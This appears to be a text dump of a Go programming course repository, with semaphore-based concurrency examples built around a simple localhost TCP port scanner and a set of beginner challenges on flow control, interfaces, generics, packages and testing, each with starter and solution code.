19 | var ports string 20 | var numWorkers int 21 | 22 | func init() { 23 | flag.StringVar(&host, "host", "127.0.0.1", "Host to scan.") 24 | flag.StringVar(&ports, "ports", "80", "Port(s) (e.g. 80, 22-100).") 25 | flag.IntVar(&numWorkers, "workers", runtime.NumCPU(), "Number of workers. Defaults to system's number of CPUs.") 26 | } 27 | 28 | func main() { 29 | flag.Parse() 30 | 31 | portsToScan, err := parsePortsToScan(ports) 32 | if err != nil { 33 | fmt.Printf("Failed to parse ports to scan: %s", err) 34 | os.Exit(1) 35 | } 36 | 37 | sem := semaphore.NewWeighted(int64(numWorkers)) 38 | openPorts := make([]int, 0) 39 | ctx := context.TODO() 40 | 41 | for _, port := range portsToScan { 42 | if err := sem.Acquire(ctx, 1); err != nil { 43 | fmt.Printf("Failed to acquire semaphore: %v", err) 44 | break 45 | } 46 | 47 | go func(port int) { 48 | defer sem.Release(1) 49 | p := scan(host, port) 50 | if p != 0 { 51 | openPorts = append(openPorts, p) 52 | } 53 | }(port) 54 | } 55 | 56 | // We block here until done. 57 | if err := sem.Acquire(ctx, int64(numWorkers)); err != nil { 58 | fmt.Printf("Failed to acquire semaphore: %v", err) 59 | } 60 | 61 | fmt.Println("RESULTS") 62 | sort.Ints(openPorts) 63 | for _, p := range openPorts { 64 | fmt.Printf("%d - open\n", p) 65 | } 66 | } 67 | 68 | func parsePortsToScan(portsFlag string) ([]int, error) { 69 | p, err := strconv.Atoi(portsFlag) 70 | if err == nil { 71 | return []int{p}, nil 72 | } 73 | 74 | ports := strings.Split(portsFlag, "-") 75 | if len(ports) != 2 { 76 | return nil, errors.New("unable to determine port(s) to scan") 77 | } 78 | 79 | minPort, err := strconv.Atoi(ports[0]) 80 | if err != nil { 81 | return nil, fmt.Errorf("failed to convert %s to a valid port number", ports[0]) 82 | } 83 | 84 | maxPort, err := strconv.Atoi(ports[1]) 85 | if err != nil { 86 | return nil, fmt.Errorf("failed to convert %s to a valid port number", ports[1]) 87 | } 88 | 89 | if minPort <= 0 || maxPort <= 0 { 90 | return nil, fmt.Errorf("port numbers must be greater than 0") 91 | } 92 | 93 | var results []int 94 | for p := minPort; p <= maxPort; p++ { 95 | results = append(results, p) 96 | } 97 | return results, nil 98 | } 99 | 100 | func scan(host string, port int) int { 101 | address := fmt.Sprintf("%s:%d", host, port) 102 | conn, err := net.Dial("tcp", address) 103 | if err != nil { 104 | fmt.Printf("%d CLOSED (%s)\n", port, err) 105 | return 0 106 | } 107 | conn.Close() 108 | return port 109 | } 110 | -------------------------------------------------------------------------------- /08-concurrency/e4-semaphore-with-timeout/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "context" 5 | "errors" 6 | "flag" 7 | "fmt" 8 | "math/rand" 9 | "net" 10 | "os" 11 | "runtime" 12 | "sort" 13 | "strconv" 14 | "strings" 15 | "time" 16 | 17 | "golang.org/x/sync/semaphore" 18 | ) 19 | 20 | var host string 21 | var ports string 22 | var numWorkers int 23 | var timeout int 24 | 25 | func init() { 26 | flag.StringVar(&host, "host", "127.0.0.1", "Host to scan.") 27 | flag.StringVar(&ports, "ports", "80", "Port(s) (e.g. 80, 22-100).") 28 | flag.IntVar(&numWorkers, "workers", runtime.NumCPU(), "Number of workers. Defaults to system's number of CPUs.") 29 | flag.IntVar(&timeout, "timeout", 5, "Timeout in seconds (default is 5).") 30 | } 31 | 32 | func main() { 33 | flag.Parse() 34 | 35 | portsToScan, err := parsePortsToScan(ports) 36 | if err != nil { 37 | fmt.Printf("Failed to parse ports to scan: %s", err) 38 | os.Exit(1) 39 | } 40 | 41 | sem := semaphore.NewWeighted(int64(numWorkers)) 42 | openPorts := make([]int, 0) 43 | ctx, cancel := context.WithTimeout(context.Background(), time.Duration(timeout)*time.Second) 44 | defer cancel() 45 | 46 | for _, port := range portsToScan { 47 | if err := sem.Acquire(ctx, 1); err != nil { 48 | fmt.Printf("Failed to acquire semaphore: %v", err) 49 | break 50 | } 51 | 52 | go func(port int) { 53 | defer sem.Release(1) 54 | sleepy(10) 55 | p := scan(host, port) 56 | if p != 0 { 57 | openPorts = append(openPorts, p) 58 | } 59 | }(port) 60 | } 61 | 62 | if err := sem.Acquire(ctx, int64(numWorkers)); err != nil { 63 | fmt.Printf("Failed to acquire semaphore: %v", err) 64 | } 65 | 66 | sort.Ints(openPorts) 67 | for _, p := range openPorts { 68 | fmt.Printf("%d - open\n", p) 69 | } 70 | } 71 | 72 | func parsePortsToScan(portsFlag string) ([]int, error) { 73 | p, err := strconv.Atoi(portsFlag) 74 | if err == nil { 75 | return []int{p}, nil 76 | } 77 | 78 | ports := strings.Split(portsFlag, "-") 79 | if len(ports) != 2 { 80 | return nil, errors.New("unable to determine port(s) to scan") 81 | } 82 | 83 | minPort, err := strconv.Atoi(ports[0]) 84 | if err != nil { 85 | return nil, fmt.Errorf("failed to convert %s to a valid port number", ports[0]) 86 | } 87 | 88 | maxPort, err := strconv.Atoi(ports[1]) 89 | if err != nil { 90 | return nil, fmt.Errorf("failed to convert %s to a valid port number", ports[1]) 91 | } 92 | 93 | if minPort <= 0 || maxPort <= 0 { 94 | return nil, fmt.Errorf("port numbers must be greater than 0") 95 | } 96 | 97 | var results []int 98 | for p := minPort; p <= maxPort; p++ { 99 | results = append(results, p) 100 | } 101 | return results, nil 102 | } 103 | 104 | func scan(host string, port int) int { 105 | address := fmt.Sprintf("%s:%d", host, port) 106 | conn, err := net.Dial("tcp", address) 107 | if err != nil { 108 | fmt.Printf("%d CLOSED (%s)\n", port, err) 109 | return 0 110 | } 111 | conn.Close() 112 | return port 113 | } 114 | 115 | func sleepy(max int) { 116 | rand.Seed(time.Now().UnixNano()) 117 | n := rand.Intn(max) 118 | time.Sleep(time.Duration(n) * time.Second) 119 | } 120 | -------------------------------------------------------------------------------- /09-challenges/concurrency/begin/main.go: -------------------------------------------------------------------------------- 1 | // challenges/concurrency/begin/main.go 2 | package main 3 | 4 | import ( 5 | "fmt" 6 | "math/rand" 7 | "os" 8 | "strings" 9 | "sync" 10 | "time" 11 | "unicode" 12 | 13 | "github.com/davecgh/go-spew/spew" 14 | ) 15 | 16 | var random *rand.Rand 17 | var randomMutex sync.Mutex 18 | 19 | func init() { 20 | random = rand.New(rand.NewSource(time.Now().UnixNano())) 21 | } 22 | 23 | func getRandomDurationInSeconds(n int) time.Duration { 24 | defer randomMutex.Unlock() 25 | 26 | randomMutex.Lock() 27 | return time.Duration(random.Intn(n)) * time.Second 28 | } 29 | 30 | type counter interface { 31 | name() string 32 | count(input string) int 33 | } 34 | 35 | type letterCounter struct{ identifier string } 36 | 37 | func (l letterCounter) name() string { 38 | return l.identifier 39 | } 40 | 41 | func (l letterCounter) count(input string) int { 42 | result := 0 43 | fmt.Println(l.name(), "working...") 44 | time.Sleep(getRandomDurationInSeconds(5)) 45 | for _, char := range input { 46 | if unicode.IsLetter(char) { 47 | result++ 48 | } 49 | } 50 | return result 51 | } 52 | 53 | type numberCounter struct{ designation string } 54 | 55 | func (n numberCounter) name() string { 56 | return n.designation 57 | } 58 | 59 | func (n numberCounter) count(input string) int { 60 | result := 0 61 | fmt.Println(n.name(), "working...") 62 | time.Sleep(getRandomDurationInSeconds(5)) 63 | for _, char := range input { 64 | if unicode.IsNumber(char) { 65 | result++ 66 | } 67 | } 68 | return result 69 | } 70 | 71 | type symbolCounter struct{ label string } 72 | 73 | func (s symbolCounter) name() string { 74 | return s.label 75 | } 76 | 77 | func (s symbolCounter) count(input string) int { 78 | result := 0 79 | fmt.Println(s.name(), "working...") 80 | time.Sleep(getRandomDurationInSeconds(5)) 81 | for _, char := range input { 82 | if !unicode.IsLetter(char) && !unicode.IsNumber(char) { 83 | result++ 84 | } 85 | } 86 | return result 87 | } 88 | 89 | func doAnalysis(data string, counters ...counter) map[string]int { 90 | // initialize a map to store the counts 91 | analysis := make(map[string]int) 92 | 93 | // capture the length of the words in the data 94 | analysis["words"] = len(strings.Fields(data)) 95 | 96 | // loop over the counters and use their name as the key 97 | for _, c := range counters { 98 | analysis[c.name()] = c.count(data) 99 | } 100 | 101 | // return the map 102 | return analysis 103 | } 104 | 105 | func main() { 106 | // handle any panics that might occur anywhere in this function 107 | defer func() { 108 | if r := recover(); r != nil { 109 | fmt.Println("Error:", r) 110 | } 111 | }() 112 | 113 | // use os package to read the file specified as a command line argument 114 | bs, err := os.ReadFile(os.Args[1]) 115 | if err != nil { 116 | panic(fmt.Errorf("failed to read file: %s", err)) 117 | } 118 | 119 | // convert the bytes to a string 120 | data := string(bs) 121 | 122 | // call doAnalysis and pass in the data and the counters 123 | analysis := doAnalysis(data, 124 | letterCounter{identifier: "letters"}, 125 | numberCounter{designation: "numbers"}, 126 | symbolCounter{label: "symbols"}, 127 | ) 128 | 129 | // dump the map to the console using the spew package 130 | spew.Dump(analysis) 131 | } 132 | -------------------------------------------------------------------------------- /09-challenges/concurrency/challenge.md: -------------------------------------------------------------------------------- 1 | # Challenge: Goroutine Synchronization 2 | 3 | This challenge will reinforce our understanding of goroutine synchronization by expanding on a previous challenge. 4 | 5 | We'll use a modified version of our solution to the interfaces challenge and introduce goroutines to have the counters do their work in a separate thread. 6 | 7 | Open up `challenges/concurrency/begin/main.go`. 8 | 9 | Things should look very familiar as most of the solution is unchanged. What we do have is a package-global `random` variable that we use an `init` function to initialized. `init()` functions in packages are always executed before any other function. This will ensure `random` is initialized at the start of the program so that we get non-deterministic numbers when we need to get randome numbers. 10 | 11 | The next set of changes are to simulate delays in the counter types' count functions. Using the `random` variable from earlier, we're artificially creating a delay with the counting so we can get a better visual representation for what we want to do next. 12 | 13 | That's where your task comes in. Your mission, should you choose to accept it 😜, is to perform the counting and assignment of the result of said counting in its own goroutine. This means in our `doAnalysis` function, as you loop through the counters, you must launch each one in its own goroutine. 14 | 15 | Nothing else in the program needs to change but you'll need to answer the following acceptance criteria are met. 16 | 17 | ## Acceptance Criteria 18 | 19 | 1. You launch a goroutine for each counter that needs to perform a count. 20 | 2. You prevent goroutines from creating a data race by attempting to write to the `analysis` map at the same time. 21 | 3. You ensure that the `doAnalysis` function waits for every goroutine it launches. 22 | 23 | ## Sample Output 24 | 25 | ``` 26 | letters working... 27 | symbols working... 28 | numbers working... 29 | (map[string]int) (len=4) { 30 | (string) (len=5) "words": (int) 427, 31 | (string) (len=7) "letters": (int) 1784, 32 | (string) (len=7) "symbols": (int) 510, 33 | (string) (len=7) "numbers": (int) 2 34 | } 35 | ``` -------------------------------------------------------------------------------- /09-challenges/concurrency/end/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "math/rand" 6 | "os" 7 | "strings" 8 | "sync" 9 | "time" 10 | "unicode" 11 | 12 | "github.com/davecgh/go-spew/spew" 13 | ) 14 | 15 | var random *rand.Rand 16 | var randomMutex sync.Mutex 17 | 18 | func init() { 19 | random = rand.New(rand.NewSource(time.Now().UnixNano())) 20 | } 21 | 22 | func getRandomDurationInSeconds(n int) time.Duration { 23 | defer randomMutex.Unlock() 24 | 25 | randomMutex.Lock() 26 | return time.Duration(random.Intn(n)) * time.Second 27 | } 28 | 29 | type counter interface { 30 | name() string 31 | count(input string) int 32 | } 33 | 34 | type letterCounter struct{ identifier string } 35 | 36 | func (l letterCounter) name() string { 37 | return l.identifier 38 | } 39 | 40 | func (l letterCounter) count(input string) int { 41 | result := 0 42 | fmt.Println(l.name(), "working...") 43 | time.Sleep(getRandomDurationInSeconds(5)) 44 | for _, char := range input { 45 | if unicode.IsLetter(char) { 46 | result++ 47 | } 48 | } 49 | return result 50 | } 51 | 52 | type numberCounter struct{ designation string } 53 | 54 | func (n numberCounter) name() string { 55 | return n.designation 56 | } 57 | 58 | func (n numberCounter) count(input string) int { 59 | result := 0 60 | fmt.Println(n.name(), "working...") 61 | time.Sleep(getRandomDurationInSeconds(5)) 62 | for _, char := range input { 63 | if unicode.IsNumber(char) { 64 | result++ 65 | } 66 | } 67 | return result 68 | } 69 | 70 | type symbolCounter struct{ label string } 71 | 72 | func (s symbolCounter) name() string { 73 | return s.label 74 | } 75 | 76 | func (s symbolCounter) count(input string) int { 77 | result := 0 78 | fmt.Println(s.name(), "working...") 79 | time.Sleep(getRandomDurationInSeconds(5)) 80 | for _, char := range input { 81 | if !unicode.IsLetter(char) && !unicode.IsNumber(char) { 82 | result++ 83 | } 84 | } 85 | return result 86 | } 87 | 88 | func doAnalysis(data string, counters ...counter) map[string]int { 89 | // initialize a map to store the counts 90 | analysis := make(map[string]int) 91 | 92 | // capture the length of the words in the data 93 | analysis["words"] = len(strings.Fields(data)) 94 | 95 | var wg sync.WaitGroup 96 | wg.Add(len(counters)) 97 | 98 | var mu sync.Mutex 99 | 100 | // loop over the counters and use their name as the key 101 | for _, c := range counters { 102 | go func(c counter) { 103 | defer wg.Done() 104 | count := c.count(data) 105 | mu.Lock() 106 | defer mu.Unlock() 107 | analysis[c.name()] = count 108 | }(c) 109 | } 110 | 111 | wg.Wait() 112 | 113 | // return the map 114 | return analysis 115 | } 116 | 117 | func main() { 118 | // handle any panics that might occur anywhere in this function 119 | defer func() { 120 | if r := recover(); r != nil { 121 | fmt.Println("Error:", r) 122 | } 123 | }() 124 | 125 | // use os package to read the file specified as a command line argument 126 | bs, err := os.ReadFile(os.Args[1]) 127 | if err != nil { 128 | panic(fmt.Errorf("failed to read file: %s", err)) 129 | } 130 | 131 | // convert the bytes to a string 132 | data := string(bs) 133 | 134 | // call doAnalysis and pass in the data and the counters 135 | analysis := doAnalysis(data, 136 | letterCounter{identifier: "letters"}, 137 | numberCounter{designation: "numbers"}, 138 | symbolCounter{label: "symbols"}, 139 | ) 140 | 141 | // dump the map to the console using the spew package 142 | spew.Dump(analysis) 143 | } 144 | -------------------------------------------------------------------------------- /09-challenges/data.txt: -------------------------------------------------------------------------------- 1 | When has justice ever been as simple as a rule book? Worf, It's better than music. It's jazz. Your head is not an artifact! Mr. Worf, you sound like a man who's asking his friend if he can start dating his sister. My oath is between Captain Kargan and myself. Your only concern is with how you obey my orders. Or do you prefer the rank of prisoner to that of lieutenant? Ensign Babyface! and attack the Romulans. I guess it's better to be lucky than good. That might've been one of the shortest assignments in the history of Starfleet. But the probability of making a six is no greater than that of rolling a seven. You did exactly what you had to do. You considered all your options, you tried every alternative and then you made the hard choice. Your shields were failing, sir. Fate. It protects fools, little children, and ships named "Enterprise." You enjoyed that. I've had twelve years to think about it. And if I had it to do over again, I would have grabbed the phaser and pointed it at you instead of them. Shields up! Rrrrred alert! Some days you get the bear, and some days the bear gets you. Captain, why are we out here chasing comets? This is not about revenge. This is about justice. Not if I weaken first. Computer, lights up! Is it my imagination, or have tempers become a little frayed on the ship lately? Fear is the true enemy, the only enemy. The look in your eyes, I recognize it. You used to have it for me. For an android with no feelings, he sure managed to evoke them in others. Mr. Worf, you do remember how to fire phasers? I'd like to think that I haven't changed those things, sir. Then maybe you should consider this: if anything happens to them, Starfleet is going to want a full investigation. Now, how the hell do we defeat an enemy that knows us better than we know ourselves? Sorry, Data. We finished our first sensor sweep of the neutral zone. They were just sucked into space. I suggest you drop it, Mr. Data. The unexpected is our normal routine. And blowing into maximum warp speed, you appeared for an instant to be in two places at once. Fate protects fools, little children and ships named Enterprise. We could cause a diplomatic crisis. Take the ship into the Neutral Zone When has justice ever been as simple as a rule book? Is the meaning of life 42? -------------------------------------------------------------------------------- /09-challenges/flow-control/begin/main.go: -------------------------------------------------------------------------------- 1 | // challenges/flow-control/begin/main.go 2 | package main 3 | 4 | func main() { 5 | // handle any panics that might occur anywhere in this function 6 | // 7 | 8 | // use os package to read the file specified as a command line argument 9 | // 10 | 11 | // convert the bytes to a string 12 | // 13 | 14 | // initialize a map to store the counts 15 | // 16 | 17 | // use the standard library utility package that can help us split the string into words 18 | // 19 | 20 | // capture the length of the words slice 21 | // 22 | 23 | // use for-range to iterate over the words slice and for each word, count the number of letters, numbers, and symbols, storing them in the map 24 | // 25 | 26 | // dump the map to the console using the spew package 27 | // 28 | } 29 | -------------------------------------------------------------------------------- /09-challenges/flow-control/challenge.md: -------------------------------------------------------------------------------- 1 | # Challenge: Flow Control 2 | 3 | This challenge has us reading a local file to count the number of letters, numbers, and symbols in it. Along the way we get to make use of conditionals, loops, maps, and the standard library to help us with file-reading and working with character data. 4 | 5 | ## Acceptance Criteria 6 | 7 | 1. Use standard library `os` package to read the provided data file and panic if there's an error. BONUS: Use `os.Args` to get file name to read 8 | 2. Handle panics with a defered recovery. 9 | 3. Use a map to track count for words, letters, numbers, and symbols. 10 | 4. Use `for-range` loops 11 | 5. Use conditionals 12 | 13 | ## Sample Output 14 | 15 | ``` 16 | (map[string]int) (len=4) { 17 | (string) (len=7) "letters": (int) 1784, 18 | (string) (len=7) "symbols": (int) 84, 19 | (string) (len=7) "numbers": (int) 2, 20 | (string) (len=5) "words": (int) 427 21 | } 22 | ``` 23 | 24 | > Note, use the `spew` library to dump out the map that's tracking your counts to get the output above. 25 | -------------------------------------------------------------------------------- /09-challenges/flow-control/end/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "os" 6 | "strings" 7 | "unicode" 8 | 9 | "github.com/davecgh/go-spew/spew" 10 | ) 11 | 12 | func main() { 13 | // handle any panics that might occur anywhere in this function 14 | defer func() { 15 | if r := recover(); r != nil { 16 | fmt.Println("Error:", r) 17 | } 18 | }() 19 | 20 | // use os package to read the file specified as a command line argument 21 | bs, err := os.ReadFile(os.Args[1]) 22 | if err != nil { 23 | panic(fmt.Errorf("failed to read file: %s", err)) 24 | } 25 | 26 | // convert the bytes to a string 27 | data := string(bs) 28 | 29 | // initialize a map to store the counts 30 | analysis := make(map[string]int) 31 | 32 | // use the standard library utility package that can help us split the string into words 33 | words := strings.Fields(data) 34 | 35 | // capture the length of the words slice 36 | analysis["words"] = len(words) 37 | 38 | // use for-range to iterate over the words slice and for each word, count the number of letters, numbers, and symbols, storing them in the map 39 | for _, word := range words { 40 | for _, char := range word { 41 | if unicode.IsLetter(char) { 42 | analysis["letters"]++ 43 | } else if unicode.IsNumber(char) { 44 | analysis["numbers"]++ 45 | } else { 46 | analysis["symbols"]++ 47 | } 48 | } 49 | } 50 | 51 | // dump the map to the console using the spew package 52 | spew.Dump(analysis) 53 | } 54 | -------------------------------------------------------------------------------- /09-challenges/generics/begin/main.go: -------------------------------------------------------------------------------- 1 | // challenges/generics/begin/main.go 2 | package main 3 | 4 | import "fmt" 5 | 6 | // Part 1: print function refactoring 7 | 8 | // non-generic print functions 9 | 10 | func printString(s string) { fmt.Println(s) } 11 | 12 | func printInt(i int) { fmt.Println(i) } 13 | 14 | func printBool(b bool) { fmt.Println(b) } 15 | 16 | // Part 2 sum function refactoring 17 | 18 | // sum sums a slice of any type 19 | func sum(numbers []interface{}) interface{} { 20 | var result float64 21 | for _, n := range numbers { 22 | switch n.(type) { 23 | case int: 24 | result += float64(n.(int)) 25 | case float32, float64: 26 | result += n.(float64) 27 | default: 28 | continue 29 | } 30 | } 31 | return result 32 | } 33 | 34 | func main() { 35 | // call non-generic print functions 36 | printString("Hello") 37 | printInt(42) 38 | printBool(true) 39 | 40 | // call generic printAny function for each value above 41 | 42 | // call sum function 43 | fmt.Println("result", sum([]interface{}{1, 2, 3})) 44 | 45 | // call generics sumAny function 46 | } 47 | -------------------------------------------------------------------------------- /09-challenges/generics/challenge.md: -------------------------------------------------------------------------------- 1 | # Challenge: Refactoring with Generics 2 | 3 | This challenge will help cement what we've learned about generics in this course by having us refactor some non-generic functions into their generic counterparts. 4 | 5 | Open up `challenges/generics/begin/main.go` and take a look at the pre-defined print functions `printString`, `printInt`, and `printBool`. 6 | 7 | Your first task is to write a generic `printAny` function that can work with any of the types the non-generic versions support. 8 | 9 | Next, note the `sum` function and its use of `interface{}` and necessary type switch to sum the numbers it's invoked with. 10 | 11 | Your second task is to create a generic `sumAny` function that uses a custom type constraint you'll define called `numeric`. The `numeric` type constraint need to have a type set of `~int` and `~float64`. The `sumAny` function should be able to sum any number of arguments passed in (i.e. it's variadic) and return a sum of those numeric values. 12 | 13 | ## Acceptance Criteria 14 | 1. You have a `print` that you can invoke with a `string`, an `int`, and a `bool`. 15 | 2. You have a `sumy` generic function parameterized with a custom `numeric` type constraint. 16 | 3. You can invoke each of the above generic function in your `main` and print their output to console. 17 | 18 | ## Sample output 19 | 20 | Calling your functions like the following 21 | 22 | ``` 23 | print("Hello") 24 | print(42) 25 | print(true) 26 | fmt.Println(sum(1, 2, 3)) 27 | ``` 28 | 29 | ...should yield 30 | 31 | ``` 32 | Hello 33 | 42 34 | true 35 | 6 36 | ``` -------------------------------------------------------------------------------- /09-challenges/generics/end/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | 6 | "golang.org/x/exp/constraints" 7 | ) 8 | 9 | // Part 1: print function refactoring 10 | 11 | // generic print function 12 | func print[T any](v T) { fmt.Println(v) } 13 | 14 | // Part 2 sum function refactoring 15 | 16 | // numeric interface with a type set 17 | type numeric interface { 18 | constraints.Integer | constraints.Float 19 | } 20 | 21 | // generic sum sums a slice of numbers 22 | func sum[T numeric](numbers ...T) T { 23 | var s T 24 | for _, n := range numbers { 25 | s += n 26 | } 27 | return s 28 | } 29 | 30 | func main() { 31 | // call generic print function 32 | print("Hello") 33 | print(42) 34 | print(true) 35 | 36 | // call generic sum function 37 | fmt.Println(sum(1, 2, 3)) 38 | } 39 | -------------------------------------------------------------------------------- /09-challenges/interfaces/begin/main.go: -------------------------------------------------------------------------------- 1 | // challenges/interfaces/begin/main.go 2 | package main 3 | 4 | import ( 5 | "fmt" 6 | "os" 7 | "strings" 8 | 9 | "github.com/davecgh/go-spew/spew" 10 | ) 11 | 12 | type counter interface { 13 | name() string 14 | count(input string) int 15 | } 16 | 17 | type letterCounter struct{ identifier string } 18 | 19 | type numberCounter struct{ designation string } 20 | 21 | type symbolCounter struct{ label string } 22 | 23 | func doAnalysis(data string, counters ...counter) map[string]int { 24 | // initialize a map to store the counts 25 | analysis := make(map[string]int) 26 | 27 | // capture the length of the words in the data 28 | analysis["words"] = len(strings.Fields(data)) 29 | 30 | // loop over the counters and use their name as the key 31 | for _, c := range counters { 32 | analysis[c.name()] = c.count(data) 33 | } 34 | 35 | // return the map 36 | return analysis 37 | } 38 | 39 | func main() { 40 | // handle any panics that might occur anywhere in this function 41 | defer func() { 42 | if r := recover(); r != nil { 43 | fmt.Println("Error:", r) 44 | } 45 | }() 46 | 47 | // use os package to read the file specified as a command line argument 48 | bs, err := os.ReadFile(os.Args[1]) 49 | if err != nil { 50 | panic(fmt.Errorf("failed to read file: %s", err)) 51 | } 52 | 53 | // convert the bytes to a string 54 | data := string(bs) 55 | spew.Dump(data) 56 | 57 | // call doAnalysis and pass in the data and the counters 58 | 59 | // dump the map to the console using the spew package 60 | // spew.Dump(analysis) 61 | } 62 | -------------------------------------------------------------------------------- /09-challenges/interfaces/challenge.md: -------------------------------------------------------------------------------- 1 | # Challenge: Working with Interfaces 2 | 3 | This challenge will have us implement a few interfaces to get more comfortable with them. 4 | 5 | We won't start from scratch though as we'll pull parts of the previous challenge's solution to give us a headstart and keep our focus on working with interfaces. 6 | 7 | Open up the starting file located at `challenges/interfaces/begin/main.go` and look at the `doAnalysis` function signature: 8 | 9 | `func doAnalysis(data string, counters ...counter) map[string]int` 10 | 11 | This is a variadic function. It takes in some `string` data and a list of counters that must implement the `counter` interface. Inside the function, the `name()` method and `count()` methods of each counter is used to capture a key and value pair respectively. 12 | 13 | The `letterCounter`, `numberCounter`, and `symbolCounter` types already predeclared here will need to support this. 14 | 15 | You task is to ensure that these custom types implement the `counter` interface and do the character counting that is relevant to each. 16 | 17 | The `main` function already has some boilerplate for the file reading. You'll need to call on the `doAnalysis` function with the data and counters and dump the result as before. 18 | 19 | The result of the analysis should be the same as when we implemented the solution for the previous challenge. 20 | 21 | ## Acceptance Criteria 22 | 23 | 1. Implement the `counter` interface for `letterCounter`, `numberCounter`, and `symbolCounter`. 24 | 2. Call on `doAnalysis` with data and counters to perform the analysis. 25 | 3. Dump the output and ensure it is the same as the sample output below. 26 | 27 | ## Sample Output 28 | 29 | ``` 30 | (map[string]int) (len=4) { 31 | (string) (len=5) "words": (int) 427, 32 | (string) (len=7) "letters": (int) 1784, 33 | (string) (len=7) "numbers": (int) 2, 34 | (string) (len=7) "symbols": (int) 510 35 | } 36 | ``` 37 | 38 | Note that the maps have unordered keys by design. As long as your numbers match, you're good! -------------------------------------------------------------------------------- /09-challenges/interfaces/end/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "os" 6 | "strings" 7 | "unicode" 8 | 9 | "github.com/davecgh/go-spew/spew" 10 | ) 11 | 12 | type counter interface { 13 | name() string 14 | count(input string) int 15 | } 16 | 17 | type letterCounter struct{ identifier string } 18 | 19 | func (l letterCounter) name() string { 20 | return l.identifier 21 | } 22 | 23 | func (l letterCounter) count(input string) int { 24 | result := 0 25 | for _, char := range input { 26 | if unicode.IsLetter(char) { 27 | result++ 28 | } 29 | } 30 | return result 31 | } 32 | 33 | type numberCounter struct{ designation string } 34 | 35 | func (n numberCounter) name() string { 36 | return n.designation 37 | } 38 | 39 | func (n numberCounter) count(input string) int { 40 | result := 0 41 | for _, char := range input { 42 | if unicode.IsNumber(char) { 43 | result++ 44 | } 45 | } 46 | return result 47 | } 48 | 49 | type symbolCounter struct{ label string } 50 | 51 | func (s symbolCounter) name() string { 52 | return s.label 53 | } 54 | 55 | func (s symbolCounter) count(input string) int { 56 | result := 0 57 | for _, char := range input { 58 | if !unicode.IsLetter(char) && !unicode.IsNumber(char) { 59 | result++ 60 | } 61 | } 62 | return result 63 | } 64 | 65 | func doAnalysis(data string, counters ...counter) map[string]int { 66 | // initialize a map to store the counts 67 | analysis := make(map[string]int) 68 | 69 | // capture the length of the words in the data 70 | analysis["words"] = len(strings.Fields(data)) 71 | 72 | // loop over the counters and use their name as the key 73 | for _, c := range counters { 74 | analysis[c.name()] = c.count(data) 75 | } 76 | 77 | // return the map 78 | return analysis 79 | } 80 | 81 | func main() { 82 | // handle any panics that might occur anywhere in this function 83 | defer func() { 84 | if r := recover(); r != nil { 85 | fmt.Println("Error:", r) 86 | } 87 | }() 88 | 89 | // use os package to read the file specified as a command line argument 90 | bs, err := os.ReadFile(os.Args[1]) 91 | if err != nil { 92 | panic(fmt.Errorf("failed to read file: %s", err)) 93 | } 94 | 95 | // convert the bytes to a string 96 | data := string(bs) 97 | 98 | // call doAnalysis and pass in the data and the counters 99 | analysis := doAnalysis(data, 100 | letterCounter{identifier: "letters"}, 101 | numberCounter{designation: "numbers"}, 102 | symbolCounter{label: "symbols"}, 103 | ) 104 | 105 | // dump the map to the console using the spew package 106 | spew.Dump(analysis) 107 | } 108 | -------------------------------------------------------------------------------- /09-challenges/packages/begin/main.go: -------------------------------------------------------------------------------- 1 | // challenges/packages/begin/proverbs.go 2 | package main 3 | 4 | // import the proverbs package 5 | 6 | // getRandomProverb returns a random proverb from the proverbs package 7 | 8 | func main() { 9 | // print the result of calling your getRandomProverb function 10 | } 11 | -------------------------------------------------------------------------------- /09-challenges/packages/challenge.md: -------------------------------------------------------------------------------- 1 | # Challenge: Working with Third-Party Packages 2 | 3 | The first challenge is about learning to use third party packages and writing your own function. 4 | 5 | You are to use the `github.com/jboursiquot/go-proverbs` package already part of the project's dependencies to retrieve and print a random proverb from it. 6 | 7 | ## Acceptance Criteria 8 | 9 | 1. You have a `main.go` file that imports `github.com/jboursiquot/go-proverbs` 10 | 2. You have a function (i.e. getRandomProverb) that returns a string and inside of it is uses the imported proverbs package to retrieve and return a random proverb's saying. 11 | 3. You make use of the standard library's `fmt` package to emit strings to `STDOUT` 12 | 4. You run `go mod tidy` to ensure you have the package in your local module cache. 13 | 5. You run your program with `go run` and get a random proverb with every run. 14 | -------------------------------------------------------------------------------- /09-challenges/packages/end/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | 6 | // import the proverbs package 7 | "github.com/jboursiquot/go-proverbs" 8 | ) 9 | 10 | // getRandomProverb returns a random proverb from the proverbs package 11 | func getRandomProverb() string { 12 | return proverbs.Random().Saying 13 | } 14 | 15 | func main() { 16 | // print the result of calling your getRandomProverb function 17 | fmt.Println(getRandomProverb()) 18 | } 19 | -------------------------------------------------------------------------------- /09-challenges/testing/begin/main.go: -------------------------------------------------------------------------------- 1 | // challenges/testing/begin/main.go 2 | package main 3 | 4 | import "unicode" 5 | 6 | type letterCounter struct{ identifier string } 7 | 8 | func (l letterCounter) count(input string) int { 9 | result := 0 10 | for _, char := range input { 11 | if unicode.IsLetter(char) { 12 | result++ 13 | } 14 | } 15 | return result 16 | } 17 | 18 | type numberCounter struct{ designation string } 19 | 20 | func (n numberCounter) name() string { 21 | return n.designation 22 | } 23 | 24 | func (n numberCounter) count(input string) int { 25 | result := 0 26 | for _, char := range input { 27 | if unicode.IsNumber(char) { 28 | result++ 29 | } 30 | } 31 | return result 32 | } 33 | 34 | type symbolCounter struct{ label string } 35 | 36 | func (s symbolCounter) name() string { 37 | return s.label 38 | } 39 | 40 | func (s symbolCounter) count(input string) int { 41 | result := 0 42 | for _, char := range input { 43 | if !unicode.IsLetter(char) && !unicode.IsNumber(char) { 44 | result++ 45 | } 46 | } 47 | return result 48 | } 49 | -------------------------------------------------------------------------------- /09-challenges/testing/begin/main_test.go: -------------------------------------------------------------------------------- 1 | // challenges/testing/begin/main_test.go 2 | package main 3 | 4 | // write a test for letterCounter.count 5 | 6 | // write a test for numberCounter.count 7 | 8 | // write a test for symbolCounter.count 9 | -------------------------------------------------------------------------------- /09-challenges/testing/challenge.md: -------------------------------------------------------------------------------- 